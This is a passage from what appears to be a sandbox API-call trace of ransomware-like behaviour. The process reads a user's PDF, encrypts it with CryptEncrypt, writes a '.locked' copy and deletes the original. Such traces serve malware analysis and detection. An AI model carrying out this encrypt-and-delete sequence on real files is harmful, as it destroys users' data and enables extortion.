ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x68, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.039] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.041] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf")) returned 0x20 [0133.041] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf")) returned 0x20 [0133.041] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.041] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.041] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.042] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.042] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.042] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.042] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.042] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x69, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.042] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.042] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.042] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.043] GetFileType (hFile=0x858) returned 0x1 [0133.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.043] GetFileType (hFile=0x858) returned 0x1 [0133.043] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.043] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.043] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.043] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.043] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.043] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked", lpFilePart=0x0) returned 0x4f [0133.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.043] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.044] GetFileType (hFile=0x874) returned 0x1 [0133.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.044] GetFileType (hFile=0x874) returned 0x1 [0133.044] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.044] CryptGenRandom (in: hProv=0x4396570, dwLen=0x10, pbBuffer=0x69cb7fc | out: pbBuffer=0x69cb7fc) returned 1 [0133.044] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.044] CryptDuplicateKey (in: hKey=0x8e84db8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84b38) returned 1 [0133.044] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.044] CryptSetKeyParam (hKey=0x8e84b38, dwParam=0x4, pbData=0x69ccab8*=0x1, dwFlags=0x0) returned 1 [0133.044] CryptSetKeyParam (hKey=0x8e84b38, dwParam=0x1, pbData=0x69cca84, dwFlags=0x0) returned 1 [0133.044] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x1560\x438\x24a") returned 0x0 [0133.044] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.045] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.045] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.045] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.045] ReadFile (in: hFile=0x858, lpBuffer=0x69d0014, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69d0014*, lpNumberOfBytesRead=0x99ae7a8*=0xf578, lpOverlapped=0x0) returned 1 [0133.045] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69e4020*, pdwDataLen=0x99ae79c*=0xf570, dwBufLen=0xf570 | out: pbData=0x69e4020*, pdwDataLen=0x99ae79c*=0xf570) returned 1 [0133.045] WriteFile (in: hFile=0x874, lpBuffer=0x69cb8bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69cb8bc*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.046] WriteFile (in: hFile=0x874, lpBuffer=0x69e500c*, nNumberOfBytesToWrite=0xe584, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69e500c*, lpNumberOfBytesWritten=0x99ae780*=0xe584, lpOverlapped=0x0) returned 1 [0133.047] ReadFile (in: hFile=0x858, lpBuffer=0x69d0014, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69d0014*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.047] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69f35b4*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69f35b4*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.047] CryptEncrypt (in: hKey=0x8e84b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69f35e8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69f35e8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.047] WriteFile (in: hFile=0x874, lpBuffer=0x69cb8bc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69cb8bc*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.047] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.048] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.048] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.048] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.048] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.048] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf")) returned 0x20 [0133.049] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.049] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.049] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.049] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.049] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.049] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.049] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.049] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.049] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.049] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.049] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.050] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.050] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.050] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0133.050] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0133.050] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0133.050] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0133.050] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc")) returned 0x10 [0133.050] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc")) returned 0x10 [0133.050] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", lpFilePart=0x0) returned 0x33 [0133.050] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC", lpFilePart=0x0) returned 0x33 [0133.050] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf")) returned 0x20 [0133.050] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.050] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.051] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.051] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.051] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf\\", lpFilePart=0x0) returned 0x49 [0133.051] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.051] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.051] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.051] CoTaskMemFree (pv=0x8eb8930) [0133.052] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf")) returned 0x20 [0133.052] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.053] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.053] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf"), fInfoLevelId=0x0, lpFileInformation=0x6a09b6c | out: lpFileInformation=0x6a09b6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8396ac90, ftCreationTime.dwHighDateTime=0x1d49f10, ftLastAccessTime.dwLowDateTime=0x3a05520, ftLastAccessTime.dwHighDateTime=0x1d4a1ec, ftLastWriteTime.dwLowDateTime=0x3a05520, ftLastWriteTime.dwHighDateTime=0x1d4a1ec, nFileSizeHigh=0x0, nFileSizeLow=0xf578)) returned 1 [0133.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.053] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf")) returned 1 [0133.055] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, 